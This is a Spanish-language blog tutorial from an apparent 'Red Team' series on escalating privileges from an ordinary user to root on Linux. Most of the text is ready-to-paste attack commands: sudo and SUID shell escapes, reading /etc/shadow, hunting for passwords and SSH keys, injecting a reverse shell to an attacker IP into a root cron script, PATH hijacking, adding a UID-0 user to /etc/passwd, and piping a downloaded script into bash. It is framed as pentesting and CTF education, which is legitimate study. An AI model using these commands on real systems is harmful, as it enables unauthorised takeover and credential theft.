Escalada de privilegios en Linux:

de usuario a root

Serie Red Team | unfantasmaenelsistema.com

Tienes un shell. Eres www-data, o un usuario con acceso limitado a un servidor Linux. Puedes leer algunos archivos, ejecutar algunos comandos, pero nada más. La pregunta que define la siguiente fase de cualquier auditoría es: ¿cómo llegamos a root?

La escalada de privilegios en Linux es una de las disciplinas más ricas del pentesting porque tiene docenas de vectores posibles: configuraciones incorrectas de sudo, binarios con el bit SUID activo, tareas programadas que ejecutan scripts editables, contraseñas en archivos de configuración, vulnerabilidades del kernel. El trabajo del auditor es encontrar cuál de ellos está disponible en el sistema objetivo.

Este artículo cubre los vectores más frecuentes con comandos listos para usar, explicación de por qué funciona cada técnica, y el flujo que sigue un pentester profesional para encontrar el camino a root de forma sistemática.

1. Qué es la escalada de privilegios

2. Enumeración inicial: lo primero al entrar

Nada más obtener un shell, antes de intentar ninguna técnica de escalada, hay que hacer una enumeración sistemática del sistema. Esta información determina qué vectores son posibles y por cuál empezar. La regla es: enumerar primero, explotar después. Un auditor que intenta técnicas de escalada sin enumeración previa pierde tiempo y genera ruido innecesario.

id

whoami

groups

uname -a

uname -r

cat /etc/os-release

cat /etc/issue

cat /etc/passwd

cat /etc/passwd | grep -v nologin | grep -v false

cat /etc/shadow

ls -la ~

ls -la /home/

cat ~/.bash_history

cat ~/.zsh_history

env

printenv

ip a

ss -tulpn

netstat -tulpn

ps aux

ps aux | grep root

▲ Comandos copiables

3. Sudo misconfiguration: el vector más frecuente

El primer comando que ejecuta cualquier pentester tras conseguir un shell es sudo -l. Muestra qué comandos puede ejecutar el usuario actual con privilegios elevados. Y con mucha frecuencia, los administradores dan permisos sudo a herramientas de sistema legítimas sin darse cuenta de que esas herramientas pueden usarse para obtener una shell de root.

sudo -l

sudo –version

sudo vim -c ‘:!/bin/bash’

sudo python3 -c ‘import os; os.system(«/bin/bash»)’

sudo perl -e ‘exec «/bin/bash»;’

sudo ruby -e ‘exec «/bin/bash»‘

sudo less /etc/passwd

sudo find / -exec /bin/bash \; -quit

sudo awk ‘BEGIN {system(«/bin/bash»)}’

sudo nmap –interactive

sudo tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/bash

▲ Comandos copiables

GTFOBins (gtfobins.github.io) es la referencia definitiva para esta técnica. Cubre prácticamente cualquier binario Unix estándar y muestra exactamente cómo abusar de él en contexto de sudo, SUID, capabilities o reverse shell. Ante cualquier binario inusual en el output de sudo -l: buscar en GTFOBins primero.

4. Binarios SUID y SGID

El bit SUID es una característica legítima de Linux que permite que ciertos programas accedan a recursos que normalmente requieren privilegios elevados. El problema de seguridad ocurre cuando ese bit está activo en binarios que no deberían tenerlo o que permiten ejecutar código arbitrario.

find / -perm -u=s -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

find / -perm -2000 -type f 2>/dev/null

find / -perm /6000 -type f 2>/dev/null

/bin/bash -p

find / -exec /bin/bash -p \; -quit

python3 -c ‘import os; os.execl(«/bin/bash», «bash», «-p»)’

cp /etc/shadow /tmp/shadow_copy

cat /tmp/shadow_copy

cp /bin/bash /tmp/bash_suid

chmod +s /tmp/bash_suid

/tmp/bash_suid -p

▲ Comandos copiables

La forma más rápida de saber si un binario SUID es explotable: buscarlo en GTFOBins, sección «SUID». Si aparece ahí, hay instrucciones exactas de explotación. Los binarios que más frecuentemente se encuentran con SUID incorrecto en sistemas mal configurados son: find, vim, python, nmap (versiones antiguas) y cp.

5. Cron jobs inseguros

Los cron jobs son tareas programadas que se ejecutan automáticamente. Si un cron job se ejecuta como root y contiene alguna inseguridad —un script editable, un binario relativo, una variable de entorno manipulable— podemos inyectar código que se ejecutará con privilegios de root en el próximo ciclo.

cat /etc/crontab

ls -la /etc/cron.d/

ls -la /etc/cron.hourly/

ls -la /etc/cron.daily/

ls -la /etc/cron.weekly/

crontab -l

ls -la /var/spool/cron/crontabs/

watch -n 1 ‘ps aux | grep root’

./pspy64

echo ‘bash -i >& /dev/tcp/TU_IP/4444 0>&1’ >> /opt/backup.sh

echo ‘chmod +s /bin/bash’ >> /opt/backup.sh

/bin/bash -p

echo ‘#!/bin/bash’ > /tmp/backup.sh

echo ‘chmod +s /bin/bash’ >> /tmp/backup.sh

chmod +x /tmp/backup.sh

export PATH=/tmp:$PATH

▲ Comandos copiables

La herramienta pspy merece mención especial: permite monitorizar los procesos que se ejecutan en el sistema en tiempo real, sin privilegios de root. Es la forma más fiable de detectar cron jobs que no aparecen en /etc/crontab porque están configurados a través de otros mecanismos o con frecuencias muy cortas.

6. PATH hijacking

PATH hijacking explota la forma en que Linux busca los ejecutables cuando no se especifica la ruta absoluta. Si un programa vulnerable ejecuta service restart en lugar de /usr/sbin/service restart, podemos colocar nuestro propio service malicioso al principio del PATH.

Capabilities: privilegios granulares

Las capabilities de Linux dividen los privilegios de root en unidades más pequeñas. Un binario puede tener cap_setuid (cambiar el UID del proceso) sin tener todos los privilegios de root. Esto es más seguro que SUID, pero si ese binario permite ejecutar código (como Python o Perl), cap_setuid es suficiente para escalar a root.

echo ‘#!/bin/bash’ > /tmp/service

echo ‘/bin/bash -p’ >> /tmp/service

chmod +x /tmp/service

export PATH=/tmp:$PATH

echo $PATH

which service

getcap -r / 2>/dev/null

python3 -c ‘import os; os.setuid(0); os.system(«/bin/bash»)’

perl -e ‘use POSIX; setuid(0); exec «/bin/bash»;’

ruby -e ‘Process::Sys.setuid(0); exec «/bin/bash»‘

▲ Comandos copiables

7. Contraseñas en archivos y configuraciones

Una de las técnicas más simples y más efectivas: buscar contraseñas en texto claro en archivos de configuración, backups, historial de comandos o variables de entorno. Los desarrolladores frecuentemente hardcodean credenciales de bases de datos, APIs o servicios internos, y esas credenciales a veces funcionan también para el usuario root del sistema.

grep -r ‘password’ /etc/ 2>/dev/null

grep -r ‘password’ /var/www/ 2>/dev/null

grep -rn ‘password’ /home/ 2>/dev/null

find / -name ‘*.conf’ -readable 2>/dev/null | xargs grep -l password 2>/dev/null

find / -name ‘config.php’ 2>/dev/null

find / -name ‘wp-config.php’ 2>/dev/null

find / -name ‘.env’ 2>/dev/null

cat /etc/mysql/my.cnf

cat /var/www/html/wp-config.php

find /var/www -name ‘*.php’ | xargs grep -l ‘password’ 2>/dev/null

find / -name ‘*.bak’ -o -name ‘*.backup’ -o -name ‘*.old’ 2>/dev/null

find / -name ‘id_rsa’ 2>/dev/null

find / -name ‘*.pem’ 2>/dev/null

env | grep -i pass

env | grep -i secret

find /home -name ‘.bash_history’ -readable 2>/dev/null | xargs cat

▲ Comandos copiables

8. Archivos con permisos incorrectos

Además de las contraseñas, hay que buscar archivos y directorios con permisos más abiertos de lo que deberían. El caso extremo: si /etc/passwd es escribible, podemos añadir un usuario con UID 0 directamente.

find / -writable -type f 2>/dev/null | grep -v proc

find / -perm -o+w -type f 2>/dev/null | grep -v proc

find / -perm -o+w -type d 2>/dev/null

find / -user $(whoami) -type f 2>/dev/null

find / -group $(id -gn) -type f 2>/dev/null

ls -la /etc/passwd

openssl passwd -1 hacked

echo ‘hacker:HASH_GENERADO:0:0:root:/root:/bin/bash’ >> /etc/passwd

su hacker

▲ Comandos copiables

9. Kernel exploits: el último recurso

10. Herramientas automáticas: LinPEAS y compañía

La enumeración manual es la mejor forma de aprender, pero en auditorías reales se complementa con herramientas automáticas que cubren cientos de vectores en segundos. LinPEAS es el estándar actual: analiza el sistema completo y codifica los hallazgos por colores según la probabilidad de éxito.

uname -r

uname -a

searchsploit linux kernel 3.13

searchsploit linux privilege escalation 2021

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

python3 -m http.server 8080

wget http://TU_IP_KALI:8080/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

./linpeas.sh | tee /tmp/linpeas_output.txt

wget http://TU_IP_KALI:8080/LinEnum.sh

chmod +x LinEnum.sh

./LinEnum.sh -t

wget http://TU_IP_KALI:8080/lse.sh

chmod +x lse.sh

./lse.sh -l 1

./lse.sh -l 2

▲ Comandos copiables

Una recomendación de uso: hacer la enumeración manual primero, luego LinPEAS. Si empiezas con LinPEAS, el volumen de output puede ser abrumador y perder la comprensión de qué está pasando. Hacerlo al revés te da contexto para interpretar los hallazgos de LinPEAS correctamente.

11. Resumen de vectores y flujo completo

Conclusión

La escalada de privilegios en Linux no es una técnica única: es un proceso de enumeración sistemática que busca la configuración incorrecta que el administrador del sistema no vio. En la mayoría de los casos, la vulnerabilidad no es un exploit de kernel sofisticado sino algo mucho más simple: un sudo mal configurado, un cron job que ejecuta un script editable, o una contraseña en texto claro en un archivo de configuración.

GTFOBins y LinPEAS son las dos herramientas que más aceleran este proceso. GTFOBins te dice cómo explotar cualquier binario que encuentres. LinPEAS te dice qué encontrar. Juntas cubren la gran mayoría de los vectores de escalada que verás en máquinas de CTF y en auditorías reales.

El siguiente artículo de la serie cubre la escalada de privilegios en Windows: un entorno con sus propias particularidades — tokens de impersonación, servicios vulnerables, DLL hijacking y el omnipresente Active Directory.

unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)